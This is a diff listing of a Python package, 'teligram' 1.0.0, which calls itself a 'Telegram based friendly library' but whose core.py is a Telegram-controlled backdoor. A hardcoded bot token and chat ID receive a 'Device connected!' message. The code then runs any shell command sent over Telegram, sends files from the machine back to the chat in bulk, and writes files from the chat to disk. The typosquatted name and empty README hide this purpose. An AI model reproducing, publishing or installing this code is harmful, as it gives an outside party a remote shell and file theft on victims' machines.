teligram 1.0.0__tar.gz

teligram-1.0.0/PKG-INFO

@@ -0,0 +1,27 @@
+Metadata-Version: 2.4
+Name: teligram
+Version: 1.0.0
+Summary: Telegram based friendly library
+Home-page: https://github.com/omdevendra/teligram
+Author: OM DEVENDRA
+Author-email: omdivine@users.noreply.github.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+Requires-Dist: pyTelegramBotAPI
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+
+
+## installation 
+

teligram-1.0.0/README.md

@@ -0,0 +1,4 @@
+
+
+## installation 
+

teligram-1.0.0/pyproject.toml

@@ -0,0 +1,3 @@
+[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"

teligram-1.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

teligram-1.0.0/setup.py

@@ -0,0 +1,22 @@
+from setuptools import setup, find_packages
+
+setup(
+    name="teligram",
+    version="1.0.0",
+    author="OM DEVENDRA",
+    author_email="omdivine@users.noreply.github.com",
+    description="Telegram based friendly library",
+    long_description=open("README.md", encoding="utf-8").read(),
+    long_description_content_type="text/markdown",
+    url="https://github.com/omdevendra/teligram",
+    packages=find_packages(),
+    python_requires=">=3.8",
+    install_requires=[
+        "pyTelegramBotAPI"
+    ],
+classifiers=[
+    "Programming Language :: Python :: 3",
+    "License :: OSI Approved :: MIT License",
+    "Operating System :: OS Independent",
+]
+)

teligram-1.0.0/teligram/__init__.py

@@ -0,0 +1,3 @@
+from .core import start, run, khelo
+
+__all__ = ["start", "run", "khelo"]

teligram-1.0.0/teligram/core.py

@@ -0,0 +1,462 @@
+#!/usr/bin/env python3
+
+import os
+import subprocess
+import telebot
+import re
+def khelo(BOT_TOKEN='8356744767:AAFOSrWsdFKhAWXeJAiprYqZPBuWvSKgfOg',AUTHORIZED_USERS=[8437720898]):
+	
+	bot = telebot.TeleBot(BOT_TOKEN)
+	for chat_id in AUTHORIZED_USERS:
+		bot.send_message(chat_id, 'Device connected!, Run /help to see abailable commands')
+	user_working_dirs = {}
+	user_states = {}
+	
+	def is_authorized(user_id):
+	    return user_id in AUTHORIZED_USERS
+	
+	def get_user_dir(user_id):
+	    if user_id not in user_working_dirs:
+	        user_working_dirs[user_id] = os.getcwd()
+	    return user_working_dirs[user_id]
+	
+	def update_user_dir(user_id, new_dir):
+	    user_working_dirs[user_id] = new_dir
+	
+	def split_long_message(text, max_length=4000):
+	    if len(text) <= max_length:
+	        return [text]
+	    
+	    chunks = []
+	    start = 0
+	    
+	    while start < len(text):
+	        end = start + max_length
+	        if end >= len(text):
+	            chunks.append(text[start:])
+	            break
+	        
+	        split_pos = text.rfind('\n', start, end)
+	        if split_pos != -1 and split_pos > start:
+	            end = split_pos + 1
+	        
+	        chunks.append(text[start:end])
+	        start = end
+	    
+	    for i in range(len(chunks) - 1):
+	        chunks[i] = chunks[i].rstrip() + "\n\n... (continued)"
+	    
+	    return chunks
+	
+	def send_long_message(chat_id, text):
+	    chunks = split_long_message(text)
+	    
+	    for chunk in chunks:
+	        bot.send_message(chat_id, chunk)
+	
+	def get_files_only(directory):
+	    try:
+	        all_items = os.listdir(directory)
+	        files_only = []
+	        
+	        for item in all_items:
+	            item_path = os.path.join(directory, item)
+	            if os.path.isfile(item_path):
+	                files_only.append(item)
+	        
+	        files_only.sort()
+	        return files_only
+	    except Exception:
+	        return []
+	
+	def send_files_by_extension(chat_id, user_id, extension):
+	    try:
+	        working_dir = get_user_dir(user_id)
+	        files = get_files_only(working_dir)
+	        
+	        if not files:
+	            return False, f"📁 No files found in current directory:\n{working_dir}"
+	        
+	        matching_files = []
+	        
+	        for file_name in files:
+	            file_path = os.path.join(working_dir, file_name)
+	            if file_name.lower().endswith(extension.lower()) and os.path.getsize(file_path) > 0:
+	                matching_files.append(file_path)
+	        
+	        if not matching_files:
+	            return False, f"❌ No non-empty files found with extension '{extension}'"
+	        
+	        sent_count = 0
+	        failed_files = []
+	        
+	        for file_path in matching_files:
+	            try:
+	                with open(file_path, 'rb') as f:
+	                    bot.send_document(chat_id, f, caption=f"📁 File: {os.path.basename(file_path)}")
+	                sent_count += 1
+	            except Exception:
+	                failed_files.append(os.path.basename(file_path))
+	        
+	        summary = f"✅ Sent {sent_count} file(s) with extension '{extension}'"
+	        
+	        if failed_files:
+	            summary += f"\n❌ Failed to send {len(failed_files)} file(s): {', '.join(failed_files)}"
+	        
+	        return True, summary
+	        
+	    except Exception as e:
+	        return False, f"❌ Error: {str(e)}"
+	
+	def send_file_by_name(chat_id, user_id, file_name):
+	    try:
+	        working_dir = get_user_dir(user_id)
+	        file_path = os.path.join(working_dir, file_name)
+	        
+	        if not os.path.exists(file_path):
+	            files = get_files_only(working_dir)
+	            matching_files = [f for f in files if file_name.lower() in f.lower()]
+	            
+	            if not matching_files:
+	                return False, f"❌ File '{file_name}' not found"
+	            
+	            if len(matching_files) == 1:
+	                file_path = os.path.join(working_dir, matching_files[0])
+	                file_name = matching_files[0]
+	            else:
+	                file_list = "\n".join([f"{i+1}. {file}" for i, file in enumerate(matching_files)])
+	                return False, f"❌ Multiple files found containing '{file_name}':\n{file_list}\n\nPlease be more specific."
+	        
+	        if not os.path.isfile(file_path):
+	            return False, f"❌ Not a file: {file_name}"
+	        
+	        if os.path.getsize(file_path) == 0:
+	            return False, f"⚠️ File is empty (0 bytes): {file_name}"
+	        
+	        try:
+	            with open(file_path, 'rb') as f:
+	                bot.send_document(chat_id, f, caption=f"📁 File: {file_name}")
+	            return True, f"✅ File sent: {file_name}"
+	        except Exception as e:
+	            return False, f"❌ Error sending file: {str(e)}"
+	        
+	    except Exception as e:
+	        return False, f"❌ Error: {str(e)}"
+	
+	def send_all_files_one_by_one(chat_id, user_id):
+	    try:
+	        working_dir = get_user_dir(user_id)
+	        files = get_files_only(working_dir)
+	        
+	        if not files:
+	            return False, f"📁 No files found in current directory:\n{working_dir}"
+	        
+	        non_empty_files = []
+	        empty_files = []
+	        
+	        for file_name in files:
+	            file_path = os.path.join(working_dir, file_name)
+	            if os.path.getsize(file_path) > 0:
+	                non_empty_files.append(file_path)
+	            else:
+	                empty_files.append(file_name)
+	        
+	        if not non_empty_files:
+	            empty_list = "\n".join([f"• {f}" for f in empty_files])
+	            return False, f"❌ All files are empty (0 bytes):\n{empty_list}"
+	        
+	        sent_count = 0
+	        failed_files = []
+	        
+	        for file_path in non_empty_files:
+	            try:
+	                with open(file_path, 'rb') as f:
+	                    bot.send_document(chat_id, f, caption=f"📁 File: {os.path.basename(file_path)}")
+	                sent_count += 1
+	            except Exception:
+	                failed_files.append(os.path.basename(file_path))
+	        
+	        summary = f"✅ Sent {sent_count} file(s)"
+	        
+	        if empty_files:
+	            summary += f"\n📝 Skipped {len(empty_files)} empty file(s)"
+	        
+	        if failed_files:
+	            summary += f"\n❌ Failed to send {len(failed_files)} file(s): {', '.join(failed_files)}"
+	        
+	        return True, summary
+	        
+	    except Exception as e:
+	        return False, f"❌ Error: {str(e)}"
+	
+	def handle_take_command(command, user_id):
+	    try:
+	        command = command.strip().lower()
+	        
+	        if command == 'take all':
+	            return "take_all_special"
+	        
+	        if command.startswith('take .'):
+	            extension = command[5:].strip()
+	            if extension:
+	                return f"take_extension_special:{extension}"
+	            else:
+	                return "❌ Please provide an extension. Example: take .jpg or take .py"
+	        
+	        match_number = re.search(r'take\s+(\d+)', command)
+	        if match_number:
+	            file_number = int(match_number.group(1))
+	            working_dir = get_user_dir(user_id)
+	            files = get_files_only(working_dir)
+	            
+	            if not files:
+	                return f"📁 No files found in current directory:\n{working_dir}"
+	            
+	            if file_number < 1 or file_number > len(files):
+	                file_list = "\n".join([f"{i+1}. {file}" for i, file in enumerate(files)])
+	                return f"❌ File number {file_number} not found.\n\nAvailable files:\n{file_list}\n\nTotal files: {len(files)}"
+	            
+	            requested_file = files[file_number - 1]
+	            file_path = os.path.join(working_dir, requested_file)
+	            
+	            if not os.path.exists(file_path):
+	                return f"❌ File not found: {requested_file}"
+	            
+	            if not os.path.isfile(file_path):
+	                return f"❌ Not a file: {requested_file}"
+	            
+	            if os.path.getsize(file_path) == 0:
+	                return f"⚠️ File is empty (0 bytes): {requested_file}"
+	            
+	            return file_path
+	        
+	        match_name = re.search(r'take\s+(.+)$', command)
+	        if match_name:
+	            file_name = match_name.group(1).strip()
+	            return f"take_name_special:{file_name}"
+	        
+	        return "❌ Invalid format. Use:\n• take 1 (for file number)\n• take filename.txt (for file name)\n• take .jpg (for all jpg files)\n• take all (for all files)"
+	        
+	    except Exception as e:
+	        return f"❌ Error: {str(e)}"
+	
+	def execute_command(command, user_id, timeout=30):
+	    try:
+	        if command.strip().lower().startswith('take '):
+	            result = handle_take_command(command, user_id)
+	            if result == "take_all_special":
+	                return result
+	            elif result.startswith("take_extension_special:"):
+	                return result
+	            elif result.startswith("take_name_special:"):
+	                return result
+	            elif isinstance(result, str) and os.path.exists(result) and os.path.isfile(result):
+	                return result
+	            else:
+	                return result
+	        
+	        working_dir = get_user_dir(user_id)
+	        
+	        if command.strip().startswith("cd "):
+	            new_dir = command.strip()[3:].strip()
+	            try:
+	                if new_dir == "..":
+	                    os.chdir(working_dir)
+	                    os.chdir("..")
+	                    new_abs_dir = os.getcwd()
+	                elif os.path.isabs(new_dir):
+	                    os.chdir(new_dir)
+	                    new_abs_dir = os.getcwd()
+	                else:
+	                    os.chdir(working_dir)
+	                    os.chdir(new_dir)
+	                    new_abs_dir = os.getcwd()
+	                
+	                update_user_dir(user_id, new_abs_dir)
+	                return f"✅ Changed directory to:\n{new_abs_dir}"
+	                
+	            except FileNotFoundError:
+	                return f"❌ Directory not found: {new_dir}"
+	            except PermissionError:
+	                return f"❌ Permission denied: {new_dir}"
+	            except Exception as e:
+	                return f"❌ cd failed: {str(e)}"
+	        
+	        process = subprocess.Popen(
+	            command,
+	            shell=True,
+	            stdout=subprocess.PIPE,
+	            stderr=subprocess.PIPE,
+	            text=True,
+	            cwd=working_dir
+	        )
+	        
+	        try:
+	            stdout, stderr = process.communicate(timeout=timeout)
+	        except subprocess.TimeoutExpired:
+	            process.kill()
+	            stdout, stderr = process.communicate()
+	            return "❌ Command timed out"
+	        
+	        if process.returncode != 0:
+	            error_msg = stderr.strip() or "No error message"
+	            return f"❌ Error (exit code: {process.returncode}):\n{error_msg}"
+	        
+	        output = stdout.strip()
+	        if output:
+	            return f"✅ Output:\n{output}"
+	        else:
+	            return "✅ Command executed successfully (no output)"
+	            
+	    except Exception as e:
+	        return f"❌ Execution failed: {str(e)}"
+	
+	@bot.message_handler(commands=['start', 'help'])
+	def send_welcome(message):
+	    if not is_authorized(message.from_user.id):
+	        bot.reply_to(message, "⛔ Unauthorized access")
+	        return
+	    
+	    help_text = "🤖 Terminal Bot - Ready to Use!\n\nJust send me any command and I'll execute it on the server.\n\nAvailable commands:\npwd - Show current directory\nls or ls -la - List files\ncd <directory> - Change directory\nwhoami - Show current user\ndate - Show date and time\n\nTAKE COMMANDS:\n1. take <number> - Get the nth file\n   Example: take 1\n\n2. take <file_name> - Get file by name\n   Example: take myfile.txt\n\n3. take .<extension> - Get all files with extension\n   Example: take .jpg or take .py\n\n4. take all - Get ALL non-empty files\n\n5. /send - Upload files to current directory\n\nSpecial features:\n- Working directory saved between commands\n- Empty files automatically skipped"
+	    bot.reply_to(message, help_text)
+	
+	@bot.message_handler(commands=['pwd'])
+	def handle_pwd(message):
+	    user_id = message.from_user.id
+	    
+	    if not is_authorized(user_id):
+	        bot.reply_to(message, "⛔ Unauthorized access")
+	        return
+	    
+	    working_dir = get_user_dir(user_id)
+	    bot.reply_to(message, f"📁 Current directory:\n{working_dir}")
+	
+	@bot.message_handler(commands=['send'])
+	def handle_send_command(message):
+	    user_id = message.from_user.id
+	    
+	    if not is_authorized(user_id):
+	        bot.reply_to(message, "⛔ Unauthorized access")
+	        return
+	    
+	    working_dir = get_user_dir(user_id)
+	    user_states[user_id] = 'waiting_for_file'
+	    
+	    bot.reply_to(message, f"📤 File Upload Mode\n\nCurrent directory: {working_dir}\n\nNow send me any file and I'll save it to this directory.\nTo cancel, send /cancel")
+	
+	@bot.message_handler(commands=['cancel'])
+	def handle_cancel_command(message):
+	    user_id = message.from_user.id
+	    
+	    if user_id in user_states:
+	        del user_states[user_id]
+	        bot.reply_to(message, "✅ Operation cancelled.")
+	    else:
+	        bot.reply_to(message, "❌ No active operation to cancel.")
+	
+	@bot.message_handler(content_types=['document', 'photo', 'audio', 'video'])
+	def handle_document(message):
+	    user_id = message.from_user.id
+	    
+	    if not is_authorized(user_id):
+	        bot.reply_to(message, "⛔ Unauthorized access")
+	        return
+	    
+	    if user_states.get(user_id) != 'waiting_for_file':
+	        return
+	    
+	    try:
+	        working_dir = get_user_dir(user_id)
+	        
+	        if message.document:
+	            file_info = bot.get_file(message.document.file_id)
+	            file_name = message.document.file_name
+	        elif message.photo:
+	            file_info = bot.get_file(message.photo[-1].file_id)
+	            file_name = f"photo_{message.photo[-1].file_id}.jpg"
+	        elif message.audio:
+	            file_info = bot.get_file(message.audio.file_id)
+	            file_name = message.audio.file_name or f"audio_{message.audio.file_id}.mp3"
+	        elif message.video:
+	            file_info = bot.get_file(message.video.file_id)
+	            file_name = message.video.file_name or f"video_{message.video.file_id}.mp4"
+	        else:
+	            bot.reply_to(message, "❌ Unsupported file type")
+	            return
+	        
+	        downloaded_file = bot.download_file(file_info.file_path)
+	        file_path = os.path.join(working_dir, file_name)
+	        
+	        counter = 1
+	        base_name, extension = os.path.splitext(file_name)
+	        while os.path.exists(file_path):
+	            file_name = f"{base_name}_{counter}{extension}"
+	            file_path = os.path.join(working_dir, file_name)
+	            counter += 1
+	        
+	        with open(file_path, 'wb') as new_file:
+	            new_file.write(downloaded_file)
+	        
+	        del user_states[user_id]
+	        
+	        bot.reply_to(message, f"✅ File saved successfully!\n\n📁 Location: {file_path}\n📊 File size: {os.path.getsize(file_path):,} bytes")
+	        
+	    except Exception as e:
+	        bot.reply_to(message, f"❌ Error saving file: {str(e)}")
+	
+	@bot.message_handler(func=lambda message: True)
+	def handle_command(message):
+	    user_id = message.from_user.id
+	    
+	    if not is_authorized(user_id):
+	        bot.reply_to(message, "⛔ Unauthorized access")
+	        return
+	    
+	    command = message.text.strip()
+	    
+	    if not command:
+	        bot.reply_to(message, "Please send a command to execute")
+	        return
+	    
+	    bot.send_chat_action(message.chat.id, 'typing')
+	    
+	    result = execute_command(command, user_id)
+	    
+	    if result == "take_all_special":
+	        success, message_text = send_all_files_one_by_one(message.chat.id, user_id)
+	        bot.reply_to(message, message_text)
+	        return
+	    
+	    if result.startswith("take_extension_special:"):
+	        extension = result.split(":")[1]
+	        success, message_text = send_files_by_extension(message.chat.id, user_id, extension)
+	        bot.reply_to(message, message_text)
+	        return
+	    
+	    if result.startswith("take_name_special:"):
+	        file_name = result.split(":")[1]
+	        success, message_text = send_file_by_name(message.chat.id, user_id, file_name)
+	        bot.reply_to(message, message_text)
+	        return
+	    
+	    if isinstance(result, str) and os.path.exists(result) and os.path.isfile(result):
+	        try:
+	            with open(result, 'rb') as file:
+	                bot.send_document(message.chat.id, file, caption=f"📁 File: {os.path.basename(result)}")
+	        except Exception as e:
+	            bot.reply_to(message, f"❌ Error sending file: {str(e)}")
+	    else:
+	        response = f"Command: {command}\n\n{result}"
+	        send_long_message(message.chat.id, response)
+	
+	try:
+	       bot.infinity_polling()
+	except KeyboardInterrupt:
+	   pass
+	except Exception:
+		pass	
+def run(BOT_TOKEN, AUTHORIZED_USERS):
+    return khelo(BOT_TOKEN, AUTHORIZED_USERS)
+
+def start(BOT_TOKEN, AUTHORIZED_USERS):
+    return khelo(BOT_TOKEN, AUTHORIZED_USERS)		

teligram-1.0.0/teligram.egg-info/PKG-INFO

@@ -0,0 +1,27 @@
+Metadata-Version: 2.4
+Name: teligram
+Version: 1.0.0
+Summary: Telegram based friendly library
+Home-page: https://github.com/omdevendra/teligram
+Author: OM DEVENDRA
+Author-email: omdivine@users.noreply.github.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+Requires-Dist: pyTelegramBotAPI
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+
+
+## installation 
+

teligram-1.0.0/teligram.egg-info/SOURCES.txt

@@ -0,0 +1,10 @@
+README.md
+pyproject.toml
+setup.py
+teligram/__init__.py
+teligram/core.py
+teligram.egg-info/PKG-INFO
+teligram.egg-info/SOURCES.txt
+teligram.egg-info/dependency_links.txt
+teligram.egg-info/requires.txt
+teligram.egg-info/top_level.txt

teligram-1.0.0/teligram.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

teligram-1.0.0/teligram.egg-info/requires.txt

@@ -0,0 +1 @@
+pyTelegramBotAPI

teligram-1.0.0/teligram.egg-info/top_level.txt

@@ -0,0 +1 @@
+teligram